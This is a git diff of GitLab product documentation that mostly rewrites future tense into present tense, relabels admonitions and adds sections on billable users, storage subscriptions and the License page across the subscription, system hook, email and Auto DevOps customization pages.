| + | **Seats currently in use** | Number of seats in use. | | **Max seats used** | Highest number of seats you've used. If this exceeds the seats in subscription, you may owe an additional fee for the additional users. | - | **Seats owed** | If your maximum seats used exceeds the seats in your subscription, you'll owe an additional fee for the users you've added. | + | **Seats owed** | If your maximum seats used exceeds the seats in your subscription, you owe an additional fee for the users you've added. | | **Subscription start date** | Date your subscription started. If this is for a Free plan, is the date you transitioned off your group's paid plan. | - | **Subscription end date** | Date your current subscription will end. Does not apply to Free plans. | + | **Subscription end date** | Date your current subscription ends. Does not apply to Free plans. | + | **Billable users list** | List of users that belong to your group subscription. Does not apply to Free plans. | ## Renew your GitLab.com subscription @@ -129,15 +132,15 @@ log in and verify or update: - The invoice contact details on the **Account details** page. - The credit card on file on the **Payment Methods** page. -TIP: **Tip:** +NOTE: Contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) if you need assistance accessing the Customers Portal or if you need to change the contact person who manages your subscription. It's important to regularly review your user accounts, because: -- A GitLab subscription is based on the number of users. You will pay more than - you should if you renew for too many users, while the renewal will fail if you +- A GitLab subscription is based on the number of users. You could pay more than + you should if you renew for too many users, while the renewal fails if you attempt to renew a subscription for too few users. - Stale user accounts can be a security risk. A regular review helps reduce this risk. @@ -146,7 +149,7 @@ It's important to regularly review your user accounts, because: A GitLab subscription is valid for a specific number of users. For details, see [Choose the number of users](#choose-the-number-of-users). -If the active user count exceeds the number included in the subscription, known +If the number of [billable users](#view-your-gitlabcom-subscription) exceeds the number included in the subscription, known as the number of _users over license_, you must pay for the excess number of users either before renewal, or at the time of renewal. This is also known the _true up_ process. @@ -172,8 +175,8 @@ previous period), log in to the [Customers Portal](https://customers.gitlab.com/ - If you see **Cancel subscription**, your subscription is set to automatically renew at the end of the subscription period. Click it to cancel automatic renewal. -With automatic renewal enabled, the subscription will automatically renew on the -expiration date and there will be no gap in available service. An invoice will be +With automatic renewal enabled, the subscription automatically renews on the +expiration date without a gap in available service. An invoice is generated for the renewal and available for viewing or download in the [View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty during the renewal process, contact our @@ -193,10 +196,10 @@ To add users to a subscription: 1. Enter the number of additional users. 1. Select **Proceed to checkout**. 1. Review the **Subscription Upgrade Detail**. The system lists the total price for all users on the - system and a credit for what you've already paid. You will only be charged for the net change. + system and a credit for what you've already paid. You are only be charged for the net change. 1. Select **Confirm Upgrade**. -The following will be emailed to you: +The following is emailed to you: - A payment receipt. You can also access this information in the Customers Portal under [**View invoices**](https://customers.gitlab.com/receipts). @@ -215,6 +218,10 @@ To upgrade your [GitLab tier](https://about.gitlab.com/pricing/): When the purchase has been processed, you receive confirmation of your new subscription tier. +## See your billable users list + +To see a list of your billable users on your GitLab group page go to **Settings > Billing**. This page provides information about your subscription and occupied seats for your group which is the list of billable users for your particular group. + ## Subscription expiry When your subscription or trial expires, GitLab does not delete your data, but @@ -222,12 +229,12 @@ it may become inaccessible, depending on the tier at expiry. Some features may n behave as expected if you're not prepared for the expiry. For example, [environment specific variables not being passed](https://gitlab.com/gitlab-org/gitlab/-/issues/24759). -If you renew or upgrade, your data will again be accessible. +If you renew or upgrade, your data is accessible again. ## CI pipeline minutes CI pipeline minutes are the execution time for your -[pipelines](../../ci/pipelines/index.md) on GitLab's shared runners. Each +[pipelines](../../ci/pipelines/index.md) on GitLab shared runners. Each [GitLab.com tier](https://about.gitlab.com/pricing/) includes a monthly quota of CI pipeline minutes: @@ -258,19 +265,19 @@ Your own runners can still be used even if you reach your limits. ### Purchase additional CI minutes If you're using GitLab.com, you can purchase additional CI minutes so your -pipelines won't be blocked after you have used all your CI minutes from your +pipelines aren't blocked after you have used all your CI minutes from your main quota. You can find pricing for additional CI/CD minutes in the [GitLab Customers Portal](https://customers.gitlab.com/plans). Additional minutes: -- Are only used once the shared quota included in your subscription runs out. +- Are only used after the shared quota included in your subscription runs out. - Roll over month to month. To purchase additional minutes for your group on GitLab.com: 1. From your group, go to **Settings > Usage Quotas**. -1. Select **Buy additional minutes** and you will be directed to the Customers Portal. +1. Select **Buy additional minutes** and GitLab directs you to the Customers Portal. 1. Locate the subscription card that's linked to your group on GitLab.com, click **Buy more CI minutes**, and complete the details about the transaction. -1. Once we have processed your payment, the extra CI minutes will be synced to your group namespace. +1. Once we have processed your payment, the extra CI minutes are synced to your group namespace. 1. To confirm the available CI minutes, go to your group, then **Settings > Usage Quotas**. The **Additional minutes** displayed now includes the purchased additional CI minutes, plus any minutes rolled over from last month. @@ -278,8 +285,8 @@ To purchase additional minutes for your group on GitLab.com: To purchase additional minutes for your personal namespace: 1. Click your avatar, then go to **Settings > Usage Quotas**. -1. Select **Buy additional minutes** and you will be directed to the Customers Portal. -1. Locate the subscription card that's linked to your personal namespace on GitLab.com, click **Buy more CI minutes**, and complete the details about the transaction. Once we have processed your payment, the extra CI minutes will be synced to your personal namespace. +1. Select **Buy additional minutes** and GitLab redirects you to the Customers Portal. +1. Locate the subscription card that's linked to your personal namespace on GitLab.com, click **Buy more CI minutes**, and complete the details about the transaction. Once we have processed your payment, the extra CI minutes are synced to your personal namespace. 1. To confirm the available CI minutes for your personal projects, click your avatar, then go to **Settings > Usage Quotas**. The **Additional minutes** displayed now includes the purchased additional CI minutes, plus any minutes rolled over from last month. @@ -287,19 +294,51 @@ To purchase additional minutes for your personal namespace: Be aware that: - If you have purchased extra CI minutes before the purchase of a paid plan, - we will calculate a pro-rated charge for your paid plan. That means you may - be charged for less than one year since your subscription was previously + we calculate a pro-rated charge for your paid plan. That means you may + be charged for less than one year because your subscription was previously created with the extra CI minutes. -- Once the extra CI minutes have been assigned to a Group, they can't be transferred +- After the extra CI minutes have been assigned to a Group, they can't be transferred to a different Group. - If you have used more minutes than your default quota, these minutes will be deducted from your Additional Minutes quota immediately after your purchase of additional minutes. -## Customers portal +## Storage subscription + +Projects have a free storage quota of 10 GB. To exceed this quota you must first [purchase one or +more storage subscription units](#purchase-more-storage). Each unit provides 10 GB of additional +storage per namespace. A storage subscription is renewed annually. For more details, see +[Usage Quotas](../../user/usage_quotas.md). + +When the amount of purchased storage reaches zero, all projects over the free storage quota are +locked. Projects can only be unlocked by purchasing more storage subscription units. + +### Purchase more storage + +To purchase more storage for either a personal or group namespace: + +1. Sign in to GitLab.com. +1. From either your personal homepage or the group's page, go to **Settings > Usage Quotas**. +1. For each locked project, total by how much its **Usage** exceeds the free quota and purchased + storage. You must purchase the storage increment that exceeds this total. +1. Click **Purchase more storage** and you are taken to the Customers Portal. +1. Click **Add new subscription**. +1. Scroll to **Purchase add-on subscriptions** and select **Buy storage subscription**. +1. In the **Subscription details** section select the name of the user or group from the dropdown. +1. Enter the desired quantity of storage packs. +1. In the **Billing information** section select the payment method from the dropdown. +1. Select the **Privacy Policy** and **Terms of Service** checkbox. +1. Select **Buy subscription**. +1. Sign out of the Customers Portal. +1. Switch back to the GitLab.com tab and refresh the page. + +The **Purchased storage available** total is incremented by the amount purchased. All locked +projects are unlocked and their excess usage is deducted from the additional storage. + +## Customers Portal -GitLab provides a [customer portal](../index.md#customers-portal) where you can -manage your subscriptions and your account details. +The GitLab [Customers Portal](../index.md#customers-portal) enables you to manage your subscriptions +and account details. ## Contact Support diff --git a/doc/subscriptions/index.md b/doc/subscriptions/index.md index df71c6bcf31..d80a2ebe179 100644 --- a/doc/subscriptions/index.md +++ b/doc/subscriptions/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, reference --- @@ -27,7 +27,7 @@ When choosing a subscription, there are two factors to consider: There are some differences in how a subscription applies, depending if you use GitLab.com or a self-managed instance: -- [GitLab.com](gitlab_com/index.md): GitLab's software-as-a-service offering. +- [GitLab.com](gitlab_com/index.md): The GitLab software-as-a-service offering. You don't need to install anything to use GitLab.com, you only need to [sign up](https://gitlab.com/users/sign_up) and start using GitLab straight away. - [GitLab self-managed](self_managed/index.md): Install, administer, and maintain @@ -37,7 +37,7 @@ On a self-managed instance, a GitLab subscription provides the same set of features for _all_ users. On GitLab.com, you can apply a subscription to either a group or a personal namespace. -NOTE: **Note:** +NOTE: Subscriptions cannot be transferred between GitLab.com and GitLab self-managed. A new subscription must be purchased and applied as needed. @@ -77,7 +77,7 @@ With the [Customers Portal](https://customers.gitlab.com/) you can: - [Change your payment method](#change-your-payment-method) - [Change the linked account](#change-the-linked-account) - [Change the associated namespace](#change-the-associated-namespace) -- [Change customers portal account password](#change-customer-portal-account-password) +- [Change customers portal account password](#change-customers-portal-account-password) ### Change your personal details @@ -152,9 +152,9 @@ With a linked GitLab.com account: 1. Select the desired group from the **This subscription is for** dropdown. 1. Click **Proceed to checkout**. -Subscription charges are calculated based on the total number of users in a group, including its subgroups and nested projects. If the total number of users exceeds the number of seats in your subscription, you will be charged for the additional users. +Subscription charges are calculated based on the total number of users in a group, including its subgroups and nested projects. If the total number of users exceeds the number of seats in your subscription, your account is charged for the additional users. -### Change customer portal account password +### Change Customers Portal account password To change the password for this customers portal account: @@ -173,7 +173,7 @@ Find more information how to apply and renew at ## GitLab for Open Source subscriptions -All [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/program/) +All [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/join/) requests, including subscription renewals, must be made by using the application process. If you have any questions, send an email to `opensource@gitlab.com` for assistance. diff --git a/doc/subscriptions/self_managed/index.md b/doc/subscriptions/self_managed/index.md index a63c2830909..a4affff92e4 100644 --- a/doc/subscriptions/self_managed/index.md +++ b/doc/subscriptions/self_managed/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: index, reference --- @@ -45,13 +45,6 @@ billable user, with the following exceptions: - Members with Guest permissions on an Ultimate subscription. - GitLab-created service accounts: `Ghost User` and bots (`Support Bot`, [`Project bot users`](../../user/project/settings/project_access_tokens.md#project-bot-users), and so on). -### Users statistics - -To view a breakdown of the users within your instance, including active, billable, -and blocked, go to **Admin Area > Overview > Dashboard** and select **Users statistics** -in the **Users** section. For more details, see -[Users statistics](../../user/admin_area/index.md#users-statistics). - ### Tips for managing users and subscription seats Managing the number of users against the number of subscription seats can be a challenge: @@ -69,6 +62,7 @@ GitLab has several features which can help you manage the number of users: option. **Available in GitLab 13.6 and later**. - [Disable new sign-ups](../../user/admin_area/settings/sign_up_restrictions.md), and instead manage new users manually. +- View a breakdown of users by role in the [Users statistics](../../user/admin_area/index.md#users-statistics) page. ## Obtain a subscription @@ -79,20 +73,32 @@ To subscribe to GitLab through a self-managed installation: 1. After purchase, a license file is sent to the email address associated to the Customers Portal account, which must be [uploaded to your GitLab instance](../../user/admin_area/license.md#uploading-your-license). -TIP: **Tip:** +NOTE: If you're purchasing a subscription for an existing **Core** self-managed instance, ensure you're purchasing enough seats to [cover your users](../../user/admin_area/index.md#administering-users). ## View your subscription -If you are an administrator, to view the status of your self-managed subscription, -log in to the your GitLab instance and go to the **License** page: +If you are an administrator, you can view the status of your subscription: 1. Go to **Admin Area**. 1. From the left-hand menu, select **License**. -Read more about the [license admin area](../../user/admin_area/license.md). +The **License** page includes the following details: + +- Licensee +- Plan +- When it was uploaded, started, and when it expires + +It also displays the following important statistics: + +| Field | Description | +|:-------------------|:------------| +| Users in License | The number of users you've paid for in the current license loaded on the system. This does not include the amount you've paid for `Users over license` during renewal. | +| Billable users | The daily count of billable users on your system. | +| Maximum users | The highest number of billable users on your system during the term of the loaded license. If this number exceeds your users in license count at any point, you incur users over license. | +| Users over license | The number of users that exceed the `Users in License` for the current license term. Charges for this number of users are incurred at the next renewal. | ## Renew your subscription @@ -109,16 +115,16 @@ log in and verify or update: - The invoice contact details on the **Account details** page. - The credit card on file on the **Payment Methods** page. -TIP: **Tip:** +NOTE: Contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) if you need assistance accessing the Customers Portal or if you need to change the contact person who manages your subscription. It's important to regularly review your user accounts, because: -- A GitLab subscription is based on the number of users. You will pay more than - you should if you renew for too many users, while the renewal will fail if you - attempt to renew a subscription for too few users. +- A GitLab subscription is based on the number of users. You pay more than you should if you renew + for too many users, while the renewal fails if you attempt to renew a subscription for too few + users. - Stale user accounts can be a security risk. A regular review helps reduce this risk. #### Users over License @@ -129,6 +135,10 @@ count exceeds the number included in the subscription, known as the number of _users over license_, you must pay for the excess number of users either before renewal, or at the time of renewal. This is also known as the _true up_ process. +To view the number of _Users over License_ go to the **Admin Area**. + +### Add users to a subscription + Self-managed instances can add users to a subscription any time during the subscription period. The cost of additional users added during the subscription period is prorated from the date of purchase through the end of the subscription period. @@ -140,10 +150,10 @@ To add users to a subscription: 1. Select **Add more seats** on the relevant subscription card. 1. Enter the number of additional users. 1. Select **Proceed to checkout**. -1. Review the **Subscription Upgrade Detail**. The system lists the total price for all users on the system and a credit for what you've already paid. You will only be charged for the net change. +1. Review the **Subscription Upgrade Detail**. The system lists the total price for all users on the system and a credit for what you've already paid. You are only be charged for the net change. 1. Select **Confirm Upgrade**. -The following will be emailed to you: +The following items are emailed to you: - A payment receipt. You can also access this information in the Customers Portal under [**View invoices**](https://customers.gitlab.com/receipts). - A new license. [Upload this license](../../user/admin_area/license.md#uploading-your-license) to your instance to use it. @@ -158,29 +168,16 @@ We recommend following these steps during renewal: 1. Determine if you have a need for user growth in the upcoming subscription. 1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in) and select the **Renew** button beneath your existing subscription. - TIP: **Tip:** + NOTE: If you need to change your [GitLab tier](https://about.gitlab.com/pricing/), contact our sales team via `renewals@gitlab.com` for assistance as this can't be done in the Customers Portal. -1. In the first box, enter the total number of user licenses you’ll need for the upcoming year. Be sure this number is at least **equal to, or greater than** the number of active users in the system at the time of performing the renewal. +1. In the first box, enter the total number of user licenses you’ll need for the upcoming year. Be sure this number is at least **equal to, or greater than** the number of billable users in the system at the time of performing the renewal. 1. Enter the number of [users over license](#users-over-license) in the second box for the user overage incurred in your previous subscription term. - - TIP: **Tip:** - You can find the _users over license_ in your instance's **Admin** dashboard by clicking on the **Admin Area** in the top bar, or going to `/admin`. - - The following table describes details of your admin dashboard and renewal terms: - - | Field | Description | - |:------|:------------| - | Users in License | The number of users you've paid for in the current license loaded on the system. This does not include the amount you've paid for `Users over license` during renewal. | - | Active users | The daily count of active users on your system. | - | Maximum users | The highest number of active users on your system during the term of the loaded license. If this number exceeds your users in license count at any point, you incur users over license. | - | Users over license | The number of users that exceed the `Users in License` for the current license term. Charges for this number of users will be incurred at the next renewal. | - 1. Review your renewal details and complete the payment process. -1. A license for the renewal term will be available for download on the [Manage Purchases](https://customers.gitlab.com/subscriptions) page on the relevant subscription card. Select **Copy license to clipboard** or **Download license** to get a copy. +1. A license for the renewal term is available for download on the [Manage Purchases](https://customers.gitlab.com/subscriptions) page on the relevant subscription card. Select **Copy license to clipboard** or **Download license** to get a copy. 1. [Upload](../../user/admin_area/license.md#uploading-your-license) your new license to your instance. -An invoice will be generated for the renewal and available for viewing or download on the [View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty during the renewal process, contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance. +An invoice is generated for the renewal and available for viewing or download on the [View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty during the renewal process, contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance. ### Seat Link @@ -195,9 +192,9 @@ Seat Link provides **only** the following information to GitLab: - Date - License key - Historical maximum user count -- Active users count +- Billable users count -For offline or closed network customers, the existing [true-up model](#users-over-license) will be used. Prorated charges are not possible without user count data. +For offline or closed network customers, the existing [true-up model](#users-over-license) is used. Prorated charges are not possible without user count data. <details> <summary>Click here to view example content of a Seat Link POST request.</summary> @@ -306,18 +303,18 @@ When your subscription or trial expires, GitLab does not delete your data, but i may become inaccessible, depending on the tier at expiry. Some features may not behave as expected if you're not prepared for the expiry. For example, [environment specific variables not being passed](https://gitlab.com/gitlab-org/gitlab/-/issues/24759). -If you renew or upgrade, your data will again be accessible. +If you renew or upgrade, your data is again accessible. For self-managed customers, there is a 14-day grace period when your features -will continue to work as-is, after which the entire instance will become read +continue to work as-is, after which the entire instance becomes read only. -However, if you remove the license, you will immediately revert to Core -features, and the instance will be read / write again. +However, if you remove the license, you immediately revert to Core +features, and the instance become read / write again. -## Customers portal +## Customers Portal -GitLab provides a [customer portal](../index.md#customers-portal) where you can +GitLab provides the [Customers Portal](../index.md#customers-portal) where you can manage your subscriptions and your account details. ## Contact Support diff --git a/doc/system_hooks/system_hooks.md b/doc/system_hooks/system_hooks.md index 9f42c96e31b..b3a74e62ba8 100644 --- a/doc/system_hooks/system_hooks.md +++ b/doc/system_hooks/system_hooks.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -44,7 +44,7 @@ denied access. System hooks can be used, for example, for logging or changing information in an LDAP server. -NOTE: **Note:** +NOTE: We follow the same structure and deprecations as [Webhooks](../user/project/integrations/webhooks.md) for Push and Tag events, but we never display commits. @@ -249,7 +249,7 @@ Please refer to `group_rename` and `user_rename` for that case. } ``` -If the user is blocked via LDAP, `state` will be `ldap_blocked`. +If the user is blocked via LDAP, `state` is `ldap_blocked`. **User renamed:** diff --git a/doc/telemetry/index.md b/doc/telemetry/index.md index 4583dbe4753..57740672fb4 100644 --- a/doc/telemetry/index.md +++ b/doc/telemetry/index.md @@ -3,3 +3,6 @@ redirect_to: '../development/product_analytics/index.md' --- This document was moved to [another location](../development/product_analytics/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/telemetry/snowplow.md b/doc/telemetry/snowplow.md index 643893bcc22..ac157a8e639 100644 --- a/doc/telemetry/snowplow.md +++ b/doc/telemetry/snowplow.md @@ -3,3 +3,6 @@ redirect_to: '../development/product_analytics/snowplow.md' --- This document was moved to [another location](../development/product_analytics/snowplow.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/tools/email.md b/doc/tools/email.md index 41a78f3a68a..302279401f6 100644 --- a/doc/tools/email.md +++ b/doc/tools/email.md @@ -1,20 +1,20 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: howto, reference --- # Email from GitLab **(STARTER ONLY)** GitLab provides a simple tool to administrators for emailing all users, or users of -a chosen group or project, right from the Admin Area. Users will receive the email +a chosen group or project, right from the Admin Area. Users receive the email at their primary email address. ## Use-cases - Notify your users about a new project, a new feature, or a new product launch. -- Notify your users about a new deployment, or that will be downtime expected +- Notify your users about a new deployment, or that downtime is expected for a particular reason. ## Sending emails to users from within GitLab @@ -24,14 +24,14 @@ at their primary email address.  -1. Compose an email and choose where it will be sent (all users or users of a +1. Compose an email and choose where to send it (all users or users of a chosen group or project). The email body only supports plain text messages. - HTML, Markdown, and other rich text formats are not supported, and will be + HTML, Markdown, and other rich text formats are not supported, and is sent as plain text to users.  -NOTE: **Note:** +NOTE: [Starting with GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/31509), email notifications can be sent only once every 10 minutes. This helps minimize performance issues. ## Unsubscribing from emails @@ -40,7 +40,7 @@ Users can choose to unsubscribe from receiving emails from GitLab by following the unsubscribe link in the email. Unsubscribing is unauthenticated in order to keep this feature simple. -On unsubscribe, users will receive an email notification that unsubscribe happened. +On unsubscribe, users receive an email notification that unsubscribe happened. The endpoint that provides the unsubscribe option is rate-limited. <!-- ## Troubleshooting diff --git a/doc/topics/application_development_platform/index.md b/doc/topics/application_development_platform/index.md index c38b067f1f3..f9baa8916df 100644 --- a/doc/topics/application_development_platform/index.md +++ b/doc/topics/application_development_platform/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Application Development Platform @@ -35,14 +35,14 @@ of newer, more efficient, more profitable, and less error-prone techniques for s Because at GitLab we are [cloud-native first](https://about.gitlab.com/handbook/product/#cloud-native-first) our Application Development Platform initially focuses on providing robust support for Kubernetes, with other platforms -to follow. Teams can bring their own clusters and we will additionally make it easy to create new infrastructure +to follow. Teams can bring their own clusters and we additionally make it easy to create new infrastructure with various cloud providers. ### Build, test, deploy -In order to provide modern DevOps workflows, our Application Development Platform will rely on +In order to provide modern DevOps workflows, our Application Development Platform relies on [Auto DevOps](../autodevops/index.md) to provide those workflows. Auto DevOps works with -any Kubernetes cluster; you're not limited to running on GitLab's infrastructure. Additionally, Auto DevOps offers +any Kubernetes cluster; you're not limited to running on GitLab infrastructure. Additionally, Auto DevOps offers an incremental consumption path. Because it is [composable](../autodevops/customize.md#using-components-of-auto-devops), you can use as much or as little of the default pipeline as you'd like, and deeply customize without having to integrate a completely different platform. diff --git a/doc/topics/authentication/index.md b/doc/topics/authentication/index.md index 8a876e07791..0e51042193c 100644 --- a/doc/topics/authentication/index.md +++ b/doc/topics/authentication/index.md @@ -1,7 +1,7 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +stage: Manage +group: Access +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Authentication diff --git a/doc/topics/autodevops/customize.md b/doc/topics/autodevops/customize.md index 95b6241583f..0d4f86f1284 100644 --- a/doc/topics/autodevops/customize.md +++ b/doc/topics/autodevops/customize.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Customizing Auto DevOps @@ -38,7 +38,7 @@ For example: ### Multiple buildpacks Using multiple buildpacks is not fully supported by Auto DevOps, because Auto Test -won't work when using the `.buildpacks` file. The buildpack +can't use the `.buildpacks` file. The buildpack [heroku-buildpack-multi](https://github.com/heroku/heroku-buildpack-multi/), used in the backend to parse the `.buildpacks` file, does not provide the necessary commands `bin/test-compile` and `bin/test`. @@ -78,7 +78,7 @@ Use Base64 encoding if you need to pass complex values, such as newlines and spaces. Left unencoded, complex values like these can cause escaping issues due to how Auto DevOps uses the arguments. -CAUTION: **Warning:** +WARNING: Avoid passing secrets as Docker build arguments if possible, as they may be persisted in your image. See [this discussion of best practices with secrets](https://github.com/moby/moby/issues/13490) for details. @@ -133,7 +133,7 @@ You can override the Helm chart used by bundling up a chart into your project repository or by specifying a project variable: - **Bundled chart** - If your project has a `./chart` directory with a `Chart.yaml` - file in it, Auto DevOps will detect the chart and use it instead of the + file in it, Auto DevOps detects the chart and uses it instead of the [default chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app), enabling you to control exactly how your application is deployed. - **Project variable** - Create a [project variable](../../ci/variables/README.md#gitlab-cicd-environment-variables) @@ -143,7 +143,7 @@ repository or by specifying a project variable: ## Customize values for Helm Chart -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30628) in GitLab 12.6, `.gitlab/auto-deploy-values.yaml` will be used by default for Helm upgrades. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30628) in GitLab 12.6, `.gitlab/auto-deploy-values.yaml` is used by default for Helm upgrades. You can override the default values in the `values.yaml` file in the [default Helm chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app) by either: @@ -154,7 +154,7 @@ You can override the default values in the `values.yaml` file in the `HELM_UPGRADE_VALUES_FILE` [environment variable](#environment-variables) with the path and name. -NOTE: **Note:** +NOTE: For GitLab 12.5 and earlier, use the `HELM_UPGRADE_EXTRA_ARGS` environment variable to override the default chart values by setting `HELM_UPGRADE_EXTRA_ARGS` to `--values <my-values.yaml>`. @@ -190,7 +190,7 @@ include: - template: Auto-DevOps.gitlab-ci.yml ``` -Add your changes, and your additions will be merged with the +Add your changes, and your additions are merged with the [Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) using the behavior described for [`include`](../../ci/yaml/README.md#include). @@ -243,9 +243,9 @@ include: See the [Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) for information on available jobs. -CAUTION: **Deprecation:** +WARNING: Auto DevOps templates using the [`only`](../../ci/yaml/README.md#onlyexcept-basic) or -[`except`](../../ci/yaml/README.md#onlyexcept-basic) syntax will switch +[`except`](../../ci/yaml/README.md#onlyexcept-basic) syntax have switched to the [`rules`](../../ci/yaml/README.md#rules) syntax, starting in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213336). If your `.gitlab-ci.yml` extends these Auto DevOps templates and override the `only` or @@ -268,7 +268,7 @@ postgres://user:password@postgres-host:postgres-port/postgres-database ### Upgrading PostgresSQL -CAUTION: **Deprecation:** +WARNING: The variable `AUTO_DEVOPS_POSTGRES_CHANNEL` that controls default provisioned PostgreSQL was changed to `2` in [GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/issues/210499). To keep using the old PostgreSQL, set the `AUTO_DEVOPS_POSTGRES_CHANNEL` variable to @@ -295,12 +295,12 @@ You must define environment-scoped variables for `POSTGRES_ENABLED` and 1. Disable the built-in PostgreSQL installation for the required environments using scoped [environment variables](../../ci/environments/index.md#scoping-environments-with-specs). - For this use case, it's likely that only `production` will need to be added to this + For this use case, it's likely that only `production` must be added to this list. The built-in PostgreSQL setup for Review Apps and staging is sufficient.  -1. Define the `DATABASE_URL` CI variable as a scoped environment variable that will be +1. Define the `DATABASE_URL` CI variable as a scoped environment variable that is available to your application. This should be a URL in the following format: ```yaml @@ -328,14 +328,14 @@ applications. | `AUTO_DEVOPS_ATOMIC_RELEASE` | As of GitLab 13.0, Auto DevOps uses [`--atomic`](https://v2.helm.sh/docs/helm/#options-43) for Helm deployments by default. Set this variable to `false` to disable the use of `--atomic` | | `AUTO_DEVOPS_BUILD_IMAGE_CNB_ENABLED` | When set to a non-empty value and no `Dockerfile` is present, Auto Build builds your application using Cloud Native Buildpacks instead of Herokuish. [More details](stages.md#auto-build-using-cloud-native-buildpacks-beta). | | `AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER` | The builder used when building with Cloud Native Buildpacks. The default builder is `heroku/buildpacks:18`. [More details](stages.md#auto-build-using-cloud-native-buildpacks-beta). | -| `AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` | Extra arguments to be passed to the `docker build` command. Note that using quotes won't prevent word splitting. [More details](#passing-arguments-to-docker-build). | +| `AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` | Extra arguments to be passed to the `docker build` command. Note that using quotes doesn't prevent word splitting. [More details](#passing-arguments-to-docker-build). | | `AUTO_DEVOPS_BUILD_IMAGE_FORWARDED_CI_VARIABLES` | A [comma-separated list of CI variable names](#forward-ci-variables-to-the-build-environment) to be forwarded to the build environment (the buildpack builder or `docker build`). | | `AUTO_DEVOPS_CHART` | Helm Chart used to deploy your apps. Defaults to the one [provided by GitLab](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app). | | `AUTO_DEVOPS_CHART_REPOSITORY` | Helm Chart repository used to search for charts. Defaults to `https://charts.gitlab.io`. | | `AUTO_DEVOPS_CHART_REPOSITORY_NAME` | From GitLab 11.11, used to set the name of the Helm repository. Defaults to `gitlab`. | | `AUTO_DEVOPS_CHART_REPOSITORY_USERNAME` | From GitLab 11.11, used to set a username to connect to the Helm repository. Defaults to no credentials. Also set `AUTO_DEVOPS_CHART_REPOSITORY_PASSWORD`. | | `AUTO_DEVOPS_CHART_REPOSITORY_PASSWORD` | From GitLab 11.11, used to set a password to connect to the Helm repository. Defaults to no credentials. Also set `AUTO_DEVOPS_CHART_REPOSITORY_USERNAME`. | -| `AUTO_DEVOPS_DEPLOY_DEBUG` | From GitLab 13.1, if this variable is present, Helm will output debug logs. | +| `AUTO_DEVOPS_DEPLOY_DEBUG` | From GitLab 13.1, if this variable is present, Helm outputs debug logs. | | `AUTO_DEVOPS_ALLOW_TO_FORCE_DEPLOY_V<N>` | From [auto-deploy-image](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image) v1.0.0, if this variable is present, a new major version of chart is forcibly deployed. For more information, see [Ignore warnings and continue 